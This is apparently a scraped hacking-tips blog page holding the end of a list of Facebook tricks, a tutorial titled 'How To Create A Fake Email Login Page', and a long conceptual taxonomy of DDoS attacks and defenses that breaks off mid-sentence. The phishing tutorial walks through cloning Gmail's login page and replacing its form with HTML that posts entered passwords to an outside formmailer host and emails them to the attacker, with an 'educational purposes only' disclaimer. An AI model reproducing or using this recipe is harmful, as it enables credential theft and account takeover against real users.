add-on <a href="https://addons.mozilla.org/en-US/firefox/addon/8442https://addons.mozilla.org/en-US/firefox/addon/8442">FacePad</a>. <br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiZaCG_AbFCFaztHeGaPmaEaQV2zlrtWtqxR2__0Kwbdzgo_7p9hbNiZd5fSqKfyCKKp9cGQWwFG5813mSXNWnCrMLZsU0KFqE199-V9-hZlOOAMEpQEV1WQe_O6svQcTKa0L9fsidi5Y/s1600/Fotobounce.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiZaCG_AbFCFaztHeGaPmaEaQV2zlrtWtqxR2__0Kwbdzgo_7p9hbNiZd5fSqKfyCKKp9cGQWwFG5813mSXNWnCrMLZsU0KFqE199-V9-hZlOOAMEpQEV1WQe_O6svQcTKa0L9fsidi5Y/s1600/Fotobounce.png" /></a></div><b><span style="font-size: large;"><br /></span></b><br /><b><span style="font-size: large;">11. Upload Photos On Facebook From Your Phone:</span></b><br /><br />All the smart phones like iPhone and Blackberry make it simple to upload photos to your Facebook account but how would you do it if you have a regular phone? <a href="http://www.labnol.org/internet/upload-facebook-photos-from-mobile-phone/9320/">Here</a> is a great tutorial to walk you through that.<br /><br /><b><span style="font-size: large;">12. Magic Circles On Facebook:</span></b><br /><br />You might have heard about the Konami code that makes red blurry circles on your Facebook page. This might be one of the most popular Facebook hidden tricks. Here’s how to do it:<br /><blockquote>Press Up, Up, Down, Down, Left, Right, Left, Right, B, A, Enter key then press up & down & Magic circles will appear! </blockquote>To stop them simply reload your page.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmTdK42itNY1R1UmWjJUsSmy5hkg1iwc7xid7NOtK6RnuUYSjxxPZubton8bkAKg3_iMjth7648Pvd0g05IhXTcazXzy31mS5DrtWUFccNgu8mwOEoPxsAsaKSe5wb6SKiNNzmAKVyRzg/s1600/MagicCircles.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmTdK42itNY1R1UmWjJUsSmy5hkg1iwc7xid7NOtK6RnuUYSjxxPZubton8bkAKg3_iMjth7648Pvd0g05IhXTcazXzy31mS5DrtWUFccNgu8mwOEoPxsAsaKSe5wb6SKiNNzmAKVyRzg/s1600/MagicCircles.png" /></a></div><b><span style="font-size: large;"><br /></span></b><br /><b><span style="font-size: large;">13. Use Your Facebook Like A Pirate:</span></b><br /><br />Do you love talking like a pirate? You can set your Facebook to appear like a pirate page by going into <i><b>Current Language Settings</b></i> and setting it to <b>English (Pirate).</b><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAsvyZwj76rEAEdv3Q9-w1jl3e8fLwklX88q3JIMAMarlojmtmPUHN5zNuvrFgxIaTu2oMF7pw2BwAYHNkxkPXP7nLmGJoE_mFaWMUcjQ61oDoM6nnUGCEHd9kYoaPvH8TH2Kp2vPSNTY/s1600/Pirate.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAsvyZwj76rEAEdv3Q9-w1jl3e8fLwklX88q3JIMAMarlojmtmPUHN5zNuvrFgxIaTu2oMF7pw2BwAYHNkxkPXP7nLmGJoE_mFaWMUcjQ61oDoM6nnUGCEHd9kYoaPvH8TH2Kp2vPSNTY/s1600/Pirate.png" /></a></div><b><span style="font-size: large;"><br /></span></b><br /><b><span style="font-size: large;">14. How To Insert Cool Symbols In Your Status Updates:</span></b><br /><br />Make your status updates interesting by inserting cool symbols. Simply copying them from <a href="http://www.hongkiat.com/blog/cool-ascii-symbols-get-them-now/">this list</a> and pasting in your status updates.<br /><b><span style="font-size: large;"><br /></span></b><br /><b><span style="font-size: large;">15. Automatically Poke Friends That Poke You:</span></b><br /><br />Don’t have enough time to poke back friends who poke you on Facebook? Automate it with a Grease Monkey script called <a href="http://userscripts.org/scripts/show/5200">Facebook Autopoke</a>.<br /><br /><span style="font-size: large;"><b>16. Upload Photos From PicasaTo Facebook:</b></span><br /><br />Upload photos to your Facebook account directly from Picasa using the <a href="http://www.facebook.com/apps/application.php?id=2483740875">Picasa</a> app for Facebook. You can also upload the Picasa captions and resize your photos before uploading them to Facebook.<br /><br /><b><span style="font-size: large;">17. Search Facebook Like A Pro:</span></b><br /><br />Not everybody knows how powerful Facebook search is. Similar to any large search engine, Facebook search has a lot of advanced options to help you search like a pro. For example if you are looking for a person named John Marsh and filter your results down to only people who are married, you can try<b> name: John Marsh status:married</b>. A complete list of search tips for Facebook can be found <a href="http://www.facebook.com/help.php?page=762">here</a>.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-3vB-uqOcaZ2YvyY0I_ZG5UdUz-x3FecAAUeQtIhl6v2IDEkmArrkXrlLnMbEt54OLB_CUSpFLItl-Jdr5bDmiTiFeYdhgRtC6j_GMFSEhaLNBNJTg_zcG8xW0x5A3mlPjPFtl8C6JoQ/s1600/Search.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-3vB-uqOcaZ2YvyY0I_ZG5UdUz-x3FecAAUeQtIhl6v2IDEkmArrkXrlLnMbEt54OLB_CUSpFLItl-Jdr5bDmiTiFeYdhgRtC6j_GMFSEhaLNBNJTg_zcG8xW0x5A3mlPjPFtl8C6JoQ/s1600/Search.png" /></a></div><br /><b><span style="font-size: large;">18. How To Update Facebook Status From Gmail:</span></b><br /><br /><a href="http://www.google.com/ig/directory?type=gadgets&url=www.brianngo.net/ig/facebook.xml">Facebook gadget</a> for Gmail allows you to update your Facebook status right from your Gmail.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0yGeLBOd8LAqV6c5gBVlIqorr54iynU8u6FH2-8ZWm6e2im0yL0AxEqoX-gcg67HfSrALsEA5tYK-E_jD053FHD1XG22V8qq6FccMNfFmMFj4c8gL7S_8bqZFIHXrjMaQfKy1bS36GOM/s1600/Gadget.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0yGeLBOd8LAqV6c5gBVlIqorr54iynU8u6FH2-8ZWm6e2im0yL0AxEqoX-gcg67HfSrALsEA5tYK-E_jD053FHD1XG22V8qq6FccMNfFmMFj4c8gL7S_8bqZFIHXrjMaQfKy1bS36GOM/s320/Gadget.png" width="266" /></a></div><br /><b><span style="font-size: large;">19. How To Access Gmail From Facebook:</span></b><br /><br />If you seldom have to leave Facebook just to go check your Gmail inbox, check out <a href="http://www.facebook.com/apps/application.php?api_key=dd3ae1695d34d0293f39d1a8e37097d1">Fmail</a>. It is a great application that lets you check your Gmail from within your Facebook inbox.<br /><br /><b><span style="font-size: large;">20. See Facebook Twitter style:</span></b><br /><br />If you love Twitter more than Facebook, you can view your Facebook just like you view your Twitter using <a href="http://userscripts.org/scripts/show/44252">this</a> grease monkey script.<br /><br /><b><span style="font-size: large;">21. Import Facebook Friends To Twitter:</span></b><br /><br />FB140 is a simple tool that lets you find all your Facebook friends that are using Twitter so you can easily follow them.<br /><br /><b><span style="font-size: large;">22. Access Facebook From Microsoft Outlook:</span></b><br /><br />This is a great tip for people attending colleges or working in places that block Facebook, but allow you access to Microsoft Outlook. Simple install the <a href="http://www.techhit.com/FBLook/">FBlook</a> plugin and access Facebook from Outlook.<br /><br /><b><span style="font-size: large;">23. Display Your Facebook Status Upside Down:</span></b><br /><br />This is a cool and fun trick. To display upside down status updates, simply head over to <a href="http://www.fliptext.org/">FlipText</a> and type in your status. Then simply click on Flip Text and copy-paste the upside down text into your Facebook status box.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZTjzheKBIu5gllfdUMztK0LgXzxzb6mhGtiwyTDYiM2vwkNVW9CVNerzgn8OrcOC9SH3ZjdMLgbobWFdHn3DJk_hpS3K40Fzsu_Q-occgEgpW9lpyj4kAEtODdmbYAYfVgnxWC9Z7X7A/s1600/FlipText.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZTjzheKBIu5gllfdUMztK0LgXzxzb6mhGtiwyTDYiM2vwkNVW9CVNerzgn8OrcOC9SH3ZjdMLgbobWFdHn3DJk_hpS3K40Fzsu_Q-occgEgpW9lpyj4kAEtODdmbYAYfVgnxWC9Z7X7A/s1600/FlipText.png" /></a></div><br /><b><span style="font-size: large;">24. Update Facebook Status Using Twitter:</span></b><br /><br />Wouldn’t you love to update your status on both Facebook and Twitter at the same time. Just install the <a href="http://www.facebook.com/apps/application.php?id=2231777543">Twitter application for Facebook</a>. Once synced, your tweets including the #fb tag would automatically be posted as status updates on your Facebook.

24 Great Facebook Tricks and Hacks

1. Hide Your Online Status From Selected Friends: So you want to use Facebook chat but don’t want some people to see your online status? Sim...

Read more »

Hacking Tricks » How To Create A Fake Email Login Page

<i><b>Fake Login Pages</b> are one of the <b>BEST</b> method to <b>Hack</b> an Email account</i>.<i>Now it’s easy to build a Fake Login Pages without any knowledge of Programming Languages</i>. <br /><i>One can use <a href="http://www.jotform.com/" target="_blank">http://www.jotform.com</a> to build the <b>Sign Up page</b></i>.<br /><br />Rest of the things required to build a <b>Fake Login Page</b> are easy to learn.Example of a <b>Fake Login Page</b> is displayed below.<br /><br /><i><b>Don’t forget</b> to spice up your fake login page with css to express the delusion</i>.<br /><br />If you want to host your page on a free server, then below is the link to Free Hosting Providers.<br /><blockquote><pre><a href="http://www.webs.com/" target="_blank">http://www.webs.com</a> or <a href="http://www.zymic.com/" target="_blank">http://www.zymic.com</a></pre></blockquote><br /><b>How to : Make Fake Login Page in 5 mins</b><br /><br /><b>Do step by step</b><br /><br /><ul><li><b>Open any page for which you wanna make fake. (For example: Gmail.com)</b></li></ul><ul><li><b>Save page . In the saving option it asks for save as type select complete webpage.(Ctrl + s)</b></li></ul><ul><li><b>Now where u have save the page it will be showing u that page and a dir wid images on the page.</b></li></ul><ul><li><b>Now Rite Click on the Page and click edit.</b></li></ul><ul><li><b>Search </b><Form<b> in the page.</b></li></ul><ul><li><b>Now Delete That Form Value , Method ,Action whatever its written delete that line.</b><span style="font-family: "Courier New",Courier,monospace;">(For Gmail: <FORM id=”gaia_loginform” action=”https://www.google.com/accounts/ServiceLoginAuth” method=”post” onSubmit=”return(gaia_onLoginSubmit());”>)</span></li></ul><ul><li><b>Now add this line</b> </li></ul><blockquote style="font-family: "Courier New",Courier,monospace;"><form action="http://www.big-llc.com/formmailer/submit" method="post"><input type="hidden" value="<b>Your Email Id</b>" name="fm-to"><font color="#333333"> </font><input type="hidden" value="blog.icyse.com_password_for educational purposes only" name="fm-title"><font color="#333333"> </font><input type="hidden" value="<b>Link You Want To redirect</b>" name="fm-redirect"><font color="#333333"> </font></blockquote><ul><li><b>Save and close the editor.</b></li></ul><ul><li><b>Upload the Directory wid images and this Page on free hosting site.</b></li></ul><ul><li><b>Its Done Simply made in just 5 mins </b></li></ul><b>Note : </b>Don’t Change The Directory Name or Page Name.<br /><i><b><br /></b></i><br /><i><b>Now you can receive the id/password on your email.</b></i><br /><blockquote><b>Disclaimer</b><br />All the information provided on ProHackingTricks are for educational purposes only. The site is no way responsible for any misuse of the information. ProHackingTricks is a site related to Computer Security and not a site that promotes hacking/cracking/software piracy.All the information on this site are meant for developing Hacker Defense attitude among the users and help preventing the hack attacks.ProHackingTricks insists that these information shall not be used for causing any kind of damage directly or indirectly.The site is totally meant for educational purposes only and the author of ProHackingTricks is not liable of any illegal act performed by any user.</blockquote>

Hacking Tricks » How To Create A Fake Email Login Page

Fake Login Pages are one of the BEST method to Hack an Email account . Now it’s easy to build a Fake Login Pages without any knowledge of...

Read more »

DDoS Attacks and DDoS Defense Mechanisms

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBXWJY9l5-PBYfrcljjLpoIdTJRQiVH671mfyZUuAITWyNHWvLtZpwJ8yV72fGRGmasNph_xEISVP2lB-P7C15VZIWj92aOOEfs3nvj-1u9guIWMwqeVj4k9OffBNZjLf90jZubqXGCFg/s1600/DDos+Attach+and+Defense.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBXWJY9l5-PBYfrcljjLpoIdTJRQiVH671mfyZUuAITWyNHWvLtZpwJ8yV72fGRGmasNph_xEISVP2lB-P7C15VZIWj92aOOEfs3nvj-1u9guIWMwqeVj4k9OffBNZjLf90jZubqXGCFg/s1600/DDos+Attach+and+Defense.jpg" /></a></div><b>Introduction</b><br /><br />Distributed denial-of-service attacks (DDoS) pose an immense threat to the Internet, and consequently many defense mechanisms have been proposed to combat them. Attackers constantly modify their tools to bypass these security systems, and researchers in turn modify their approaches to handle new attacks.The DDoS field is evolving quickly, and it is becoming increasingly hard to grasp a global view of the problem.<br /><br /><b>DDoS Attack Overview</b><br /><br />A denial-of-service attack is characterized by an explicit attempt by attackers to prevent legitimate users of a service from using that service. A distributed denial-of-service attack deploys multiple machines to attain this goal. The service is denied by sending a stream of packets to a victim that either consumes some key resource, thus rendering it unavailable to legitimate clients, or provides the attacker with unlimited access to the victim machine so he can inflict arbitrary damage. This section will answer the following questions:<br /><br />1. What makes DDoS attacks possible?<br />2. How do these attacks occur?<br />3. Why do they occur?<br /><br /><b>Internet Architecture</b><br /><br />The Internet is managed in a distributed manner; therefore no common policy can be enforced among its participants.Such design opens several security issues that provide opportunities for distributed denial-of-service attacks:<br /><br />1. Internet security is highly interdependent. DDoS attacks are commonly launched from systems that are subverted through security related compromises. Regardless of how well secured the victim system may be, its susceptibility to DDoS attacks depends on the state of security in the rest of the global Internet.<br /><br />2. Internet resource is limited. Each Internet host has limited resources that can be consumed by a sufficient number of users.<br /><br />3. Power of many is greater than power of few. Coordinated and simultaneous malicious actions by some participants can always be detrimental to others, if the resources of the attackers are greater than the resources of the victims.<br /><br />4. Intelligence and resources are not collocated an end-to-end communication paradigm led to locating most of the intelligence needed for service guarantees with end hosts. At the same time, a desire for large throughput led to the design of high bandwidth pathways in the intermediate network. Thus, malicious clients can misuse the abundant resources of unwitting network for delivery of numerous messages to a victim.<br /><br /><b>DDoS Attack Strategy</b><br /><br />In order to perform a distributed denial-of-service attack, the attacker needs to recruit the multiple agent (slave) machines. This process is usually performed automatically through scanning of remote machines, looking for security holes that would enable subversion. Vulnerable machines are then exploited by using the discovered vulnerability to gain access to the machine, and they are infected with the attack code. The exploit/infection phase is also automated, and the infected machines can be used for further recruitment of new agents .Agent machines perform the attack against the victim. Attackers usually hide the identity of the agent machines during the attack through spoofing of the source address field in packets. The agent machines can thus be reused for future attacks.<br /><b><br />DDoS Goals</b><br /><br />The goal of a DDoS attack is to inflict damage on the victim, either for personal reasons (a significant number of DDoS attacks are against home computers, presumably for purposes of revenge), for material gain (damaging competitor’s resources) or for popularity (successful attacks on popular Web servers gain the respect of the hacker community).<br /><br /><b>Taxonomy of DDoS Attacks</b><br /><br />In order to devise a taxonomy of distributed denialof- service attacks we observe the means used to prepare and perform the attack, the characteristics of the attack itself and the effect it has on the victim. Various classification criteria are indicated in bold type. Figure 1 summarizes the taxonomy.<br /><b><br />Classification by Degree of Automation</b><br /><br />During the attack preparation, the attacker needs to locate prospective agent machines and infect them with the attack code. Based on the degree of automation of the attack, we differentiate between manual, semi-automatic and automatic DDoS attacks.<br /><br /><b>Manual Attacks</b><br /><br />Only the early DDoS attacks belonged to the manual category. The attacker scanned remote machines for vulnerabilities, broke into them and installed the attack code, and then commanded the onset of the attack. All of these actions were soon automated, leading to development of semiautomatic DDoS attacks, the category where most contemporary attacks belong.<br /><br /><b>Semi-Automatic Attacks</b><br />In semi-automatic attacks, the DDoS network consists of handler (master) and agent (slave, daemon) machines. The attacker deploys automated scripts for scanning and compromise of those machines and installation of the attack code. He then uses handler machines to specify the attack type and the victim’s address and to command the onset of the attack to agents, who send packets to the victim. Based on the communication mechanism deployed between agent and handler machines we divide semi-automatic attacks into attacks with direct communication and attacks with indirect communication.<br /><b><br />Attacks with direct communication</b><br /><br />During attacks with direct communication, the agent and handler machines need to know each other’s identity in order to communicate. This is achieved by hard-coding the IP address of the handler machines in the attack code that is later installed on the agent. Each agent then reports its readiness to the handlers, who store its IP address in a file for later communication. The obvious drawback of this approach is that discovery of one compromised machine can expose the whole DDoS network. Also, since agents and handlers listen to network connections, they are identifiable by network scanners.<br /><br /><b>Attacks with indirect communication</b><br /><br />Attacks with indirect communication deploy a level of indirection to increase the survivability of a DDoS network.Recent attacks provide the example of using IRC channels for agent/handler communication. The use of IRC services replaces the function of a handler, since the IRC channel offers sufficient anonymity to the attacker. Since DDoS agents establish outbound connections to a standard service port used by a legitimate network service, agent communications to the control point may not be easily differentiated from legitimate network traffic. The agents do not incorporate a listening port that is easily detectable with network scanners. An attacker controls the agents using IRC communications channels. Thus, discovery of a single agent may lead no further than the identification of one or more IRC servers and channel names used by the DDoS network. From there, identification of the DDoS network depends on the ability to track agents currently connected to the IRC server. Although the IRC service is the only current example of indirect communication, there is nothing to prevent attackers from subverting other legitimate services for similar purposes.<br /><br /><b>Automatic Attacks</b><br /><br />Automatic DDoS attacks additionally automate the attack phase, thus avoiding the need for communication between attacker and agent machines. The time of the onset of the attack,<br />attack type, duration and victim’s address is preprogrammed in the attack code. It is obvious that such deployment mechanisms offer minimal exposure to the attacker, since he is only involved in issuing a single command – the start of the attack script. The hard coded attack specification suggests a single-purpose use of the DDoS network. However, the propagation mechanisms usually leave the backdoor to the compromised DDoS machine open, enabling easy future access and modification of the attack code. Both semi-automatic and automatic attacks recruit the agent machines by deploying automatic scanning and propagation techniques. Based on the scanning strategy, we differentiate between attacks that deploy random scanning, hit list scanning, topological scanning, permutation scanning and local subnet scanning. Attackers usually combine the scanning and exploitation phases, thus gaining a larger agent population, and my description of scanning techniques relates to this model.<br /><b><br />Attacks with Random Scanning</b><br /><br />During random scanning each compromised host probes random addresses in the IP address space, using a different seed. This potentially creates a high traffic volume since many machines probe the same addresses. Code Red (CRv2) performed random scanning .<br /><br /><b>Attacks with Hitlist Scanning</b><br /><br />A machine performing hitlist scanning probes all addresses from an externally supplied list. When it detects the vulnerable machine, it sends one half of the initial hitlist to the recipient and keeps the other half. This technique allows for great propagation speed (due to exponential spread) and no collisions during the scanning phase. An attack deploying hitlist scanning could obtain the list from netscan.org of domains that still support directed IP broadcast and can thus be used for a Smurf attack.<br /><br /><b>Attacks with Topological Scanning</b><br /><br />Topological scanning uses the information on the compromised host to select new targets. All mail worms use topological scanning, exploiting the information from address books for their spread.<br /><b><br />Attacks with Permutation Scanning</b><br /><br />During permutation scanning, all compromised machines share a common pseudo-random permutation of the IP address space; each IP address is mapped to an index in this permutation. A machine begins scanning by using the index computed from its IP address as a starting point. Whenever it sees an already infected machine, it chooses a new random start point. This has the effect of providing a semi coordinated, comprehensive scan while maintaining the benefits of random probing. This technique is described in as not yet deployed.<br /><b><br />Attacks with Local Subnet Scanning</b><br /><br />Local subnet scanning can be added to any of the previously described techniques to preferentially scan for targets that reside on the same subnet as the compromised host. Using this technique, a single copy of the scanning program can compromise many vulnerable machines behind a firewall. Code Red II and Nimda Worm used local subnet scanning. Based on the attack code propagation mechanism, we differentiate between attacks that deploy central source propagation, back-chaining propagation and autonomous propagation .<br /><br /><b>Attacks with Central Source Propagation</b><br /><br />During central source propagation, the attack code resides on a central server or set of servers.<br />After compromise of the agent machine, the code is downloaded from the central source through a file transfer mechanism. The 1i0n worm operated in this manner.<br /><br /><b>Attacks with Back-chaining Propagation</b><br /><br />During back-chaining propagation, the attack code is downloaded from the machine that was used to exploit the system.The infected machine then becomes the source for the next propagation step. Back-chaining propagation is more survivable than central-source propagation since it avoids a single point of failure. The Ramen worm and Morris Worm used backchaining propagation.<br /><br /><b>Attacks with Autonomous Propagation</b><br /><br />Autonomous propagation avoids the file retrieval step by injecting attack instructions directly into the target host during the exploitation phase. Code Red, Warhol Worm and numerous E-mail worms use autonomous propagation.<br /><br /><b>Classification by Exploited Vulnerability</b><br /><br />Distributed denial-of-service attacks exploit different strategies to deny the service of the victim to its clients. Based on the vulnerability that is targeted during an attack, we differentiate between protocol attacks and brute-force attacks.<br /><br /><b>Protocol Attacks</b><br /><br />Protocol attacks exploit a specific feature or implementation bug of some protocol installed at the victim in order to consume excess amounts of its resources. Examples include the TCP SYN attack, the CGI request attack and the authentication server attack. In the TCP SYN attack, the exploited feature is the allocation of substantial space in a connection queue immediately upon receipt of a TCP SYN request. The attacker initiates multiple connections that are never completed, thus filling up the connection queue indefinitely. In the CGI request attack, the attacker consumes the CPU time of the victim by issuing multiple CGI requests. In the authentication server attack, the attacker exploits the fact that the signature verification process consumes significantly more resources than bogus signature generation. He sends numerous bogus authentication requests to the server, tying up its resources.<br /><br /><b>Brute-force Attacks</b><br /><br />Brute-force attacks are performed by initiating a vast amount of seemingly legitimate transactions. Since an upstream network can usually deliver higher traffic volume than the victim network can handle, this exhausts the victim’s resources. We further divide brute-force attacks based on the relation of packet contents with victim services into filterable and non-filterable attacks.<br /><br /><b>Filterable Attacks</b><br /><br />Filterable attacks use bogus packets or packets for non-critical services of the victim’s operation, and thus can be filtered by a firewall. Examples of such attacks are a UDP flood attack or an<br />ICMP request flood attack on a Web server.<br /><br /><b>Non-filterable Attacks</b><br /><br />Non-filterable attacks use packets that request legitimate services from the victim. Thus, filtering all packets that match the attack signature would lead to an immediate denial of the specified service to both attackers and the legitimate clients. Examples are a HTTP request flood targeting a Web server or a DNS request flood targeting a name server. The line between protocol and brute force attacks is thin. Protocol attacks also overwhelm a victim’s resources with excess traffic, and badly designed protocol features at remote hosts are frequently used to perform “reflector” brute-force attacks, such as the DNS request attack or the Smurf attack.<br /><br />The difference is that a victim can mitigate the effect of protocol attacks by modifying the deployed protocols at its site, while it is helpless against brute-force attacks due to their misuse of legitimate services (non-filterable attacks) or due to its own limited resources (a victim can do nothing about an attack that swamps its network bandwidth). Countering protocol attacks by modifying the deployed protocol pushes the corresponding attack mechanism into the brute-force category. For example, if the victim deploys TCP SYN cookies to combat TCP SYN attacks, it will still be vulnerable to TCP SYN attacks that generate more requests than its network can accommodate.<br /><br />However, the brute-force attacks need to generate a much higher volume of attack packets than protocol attacks, to inflict damage at the victim. So by modifying the deployed protocols the victim pushes the vulnerability limit higher. Evidently, classification of the specific attack needs to take into account both the attack mechanisms used and the victim’s configuration. It is interesting to note that the variability of attack packet contents is determined by the exploited vulnerability.<br /><br />Packets comprising protocol and non-filterable brute force attacks must specify some valid header fields and possibly some valid contents. For example TCP SYN attack packets cannot vary the protocol or flag field, and HTTP flood packets must belong to an established TCP connection and therefore cannot spoof source addresses, unless they hijack connections from legitimate clients.<br /><b><br />Classification by Attack Rate Dynamics</b><br /><br />Depending on the attack rate dynamics we differentiate between continuous rate and variable rate attacks.<br /><b><br />Continuous Rate Attacks</b><br /><br />The majority of known attacks deploy a continuous rate mechanism. After the onset is commanded, agent machines generate the attack packets with full force. This sudden packet flood disrupts the victim’s services quickly, and thus leads to attack detection.<br /><br /><b>Variable Rate Attacks</b><br /><br />Variable rate attacks are more cautious in their engagement, and they vary the attack rate to avoid detection and response. Based on the rate change mechanism we differentiate between attacks with increasing rate and fluctuating rate.<br /><b><br />Increasing Rate Attacks</b><br /><br />Attacks that have a gradually increasing rate lead to a slow exhaustion of victim’s resources. A state change of the victim could be so gradual that its services degrade slowly over a long time period, thus delaying detection of the attack.<br /><br /><b>Fluctuating Rate Attacks</b><br /><br />Attacks that have a fluctuating rate adjust the attack rate based on the victim’s behavior, occasionally relieving the effect to avoid detection. At the extreme end, there is the example of pulsing attacks. During pulsing attacks, agent hosts periodically abort the attack and resume it at a later time. If this behavior is simultaneous for all agents, the victim experiences periodic service disruptions. If, however, agents are divided into groups who coordinate so that one group is always active, then the victim experiences continuous denial of service.<br /><b><br />Classification by Impact</b><br /><br />Depending on the impact of a DDoS attack on the victim we differentiate between disruptive and degrading attacks.<br /><br /><b>Disruptive Attacks</b><br /><br />The goal of disruptive attacks is to completely deny the victim’s service to its clients. All currently known attacks belong to this category.<br /><br /><b>Degrading Attacks</b><br /><br />The goal of degrading attacks would be to consume some (presumably constant) portion of a victim’s resources. Since these attacks do not lead to total service disruption, they could remain undetected for a significant time period.<br /><br />On the other hand, damage inflicted on the victim could be immense. For example, an attack that effectively ties up 30% of the victim’s resources would lead to denial of service to some percentage of customers during high load periods, and possibly slower average service. Some customers, dissatisfied with the quality, would consequently change their service provider and victim would thus lose income. Alternately, the false load could result in a victim spending money to upgrade its servers and networks.<br /><b><br />Taxonomy of DDoS Defense Mechanisms</b><br /><br />The seriousness of the DDoS problem and the increased frequency of DDoS attacks have led to the advent of numerous DDoS defense mechanisms. Some of these mechanisms address a specific kind of DDoS attack such as attacks on Web servers or authentication servers. Other approaches attempt to solve the entire generic DDoS problem. Most of the proposed approaches require certain features to achieve their peak performance, and will perform quite differently if deployed in an environment where these requirements are not met.<br /><br />As is frequently pointed out, there is no “ram ban (means the weapon which never misses the target in hindi)” against DDoS attacks. Therefore we need to understand not only each existing DDoS defense approach, but also how those approaches might be combined together to effectively and completely solve the problem.<br /><br /><b>Classification by Activity Level</b><br /><br />Based on the activity level of DDoS defense mechanisms, we differentiate between preventive and reactive mechanisms.<br /><br /><b>Preventive Mechanisms</b><br /><br />The goal of preventive mechanisms is either to eliminate the possibility of DDoS attacks altogether or to enable potential victims to endure the attack without denying services to legitimate clients. According to these goals we further divide preventive mechanisms into attack prevention and denial-of-service prevention mechanisms.<br /><br /><b>Attack Prevention Mechanisms</b><br /><br />Attack prevention mechanisms modify the system configuration to eliminate the possibility of a DDoS attack. Based on the target they secure, we further divide them into system security and protocol security mechanisms.<br /><br /><b>System Security Mechanisms</b><br /><br />System security mechanisms increase the overall security of the system, guarding against illegitimate accesses to the machine, removing application bugs and updating protocol installations to prevent intrusions and misuse of the system. DDoS attacks owe their power to large numbers of subverted machines that cooperatively generate the attack streams.<br /><br />If these machines were secured, the attackers would lose their army and the DDoS threat would then disappear. On the other hand, systems vulnerable to intrusions can themselves become victims of DDoS attacks in which the attacker, having gained unlimited access to the machine, deletes or alters its contents. Potential victims of DDoS attacks can be easily overwhelmed if they deploy vulnerable protocols.<br /><br />Examples of system security mechanisms include monitored access to the machine, applications that download and install security patches, firewall systems, virus scanners, intrusion detection systems, access lists for critical resources, capability-based systems and client-legitimacy-based systems. The history of computer security suggests that this approach can never be 100% effective, but doing a good job here will certainly decrease the frequency and strength of DDoS attacks.<br /><br /><b>Protocol Security Mechanisms</b><br /><br />Protocol security mechanisms address the problem of bad protocol design. Many protocols contain operations that are cheap for the client but expensive for the server. Such protocols can be misused to exhaust the resources of a server by initiating large numbers of simultaneous transactions. Classic misuse examples are the TCP SYN attack, the authentication server attack, and the fragmented packet attack, in which the attacker bombards the victim with malformed packet fragments forcing it to waste its resources on reassembling attempts.<br /><br />Examples of protocol security mechanisms include guidelines for a safe protocol design in which resources are committed to the client only after sufficient authentication is done , or the client has paid a sufficient price , deployment of powerful proxy server that completes TCP connections , etc. Deploying comprehensive protocol and system security mechanisms can make the victim completely resilient to protocol attacks. Also, these approaches are inherently compatible with and complementary to all other approaches.<br /><br />Denial-of-service prevention mechanisms enable the victim to endure attack attempts without denying service to legitimate clients. This is done either by enforcing policies for resource consumption or by ensuring that abundant resources exist so that legitimate clients will not be affected by the attack. Consequently, based on the prevention method, we differentiate between resource accounting and resource multiplication mechanisms.<br /><b><br />Resource Accounting Mechanisms</b><br /><br />Resource accounting mechanisms police the access of each user to resources based on the privileges of the user and his behavior. Such mechanisms guarantee fair service to legitimate well-behaving users. In order to avoid user identity theft, they are usually coupled with legitimacy-based access mechanisms that verify the user’s identity. Approaches proposed in illustrate resource accounting mechanisms.<br /><b><br />Resource Multiplication Mechanisms</b><br /><br />Resource multiplication mechanisms provide an abundance of resources to counter DDoS threats. The straightforward example is a system that deploys a pool of servers with a load balancer and installs high bandwidth links between itself and upstream routers. This approach essentially raises the bar on how many machines must participate in an attack to be effective. While not providing perfect protection, for those who can afford the costs, this approach has often proven sufficient. For example, Microsoft has used it to weather large DDoS attacks.<br /><b><br />Reactive Mechanisms</b><br /><br />Reactive mechanisms strive to alleviate the impact of an attack on the victim. In order to attain this goal they need to detect the attack and respond to it. The goal of attack detection is to detect every attempted DDoS attack as early as possible and to have a low degree of false positives. Upon attack detection, steps can be taken to characterize the packets belonging to the attack stream and provide this characterization to the response mechanism. We classify reactive mechanisms based on the attack detection strategy into mechanisms that deploy pattern detection, anomaly detection, hybrid detection, and third-party detection.<br /><br /><b>Mechanisms with Pattern Attack Detection</b><br /><br />Mechanisms that deploy pattern detection store the signatures of known attacks in a database. Each communication is monitored and compared with database entries to discover occurrences of DDoS attacks. Occasionally, the database is updated with new attack signatures. The obvious drawback of this detection mechanism is that it can only detect known attacks, and it is usually helpless against new attacks or even slight variations of old attacks that cannot be matched to the stored signature. On the other hand, known attacks are easily and reliably detected, and no false positives are encountered<br /><b><br />Mechanisms with Anomaly Attack Detection</b><br /><br />Mechanisms that deploy anomaly detection have a model of normal system behavior, such as a model of normal traffic 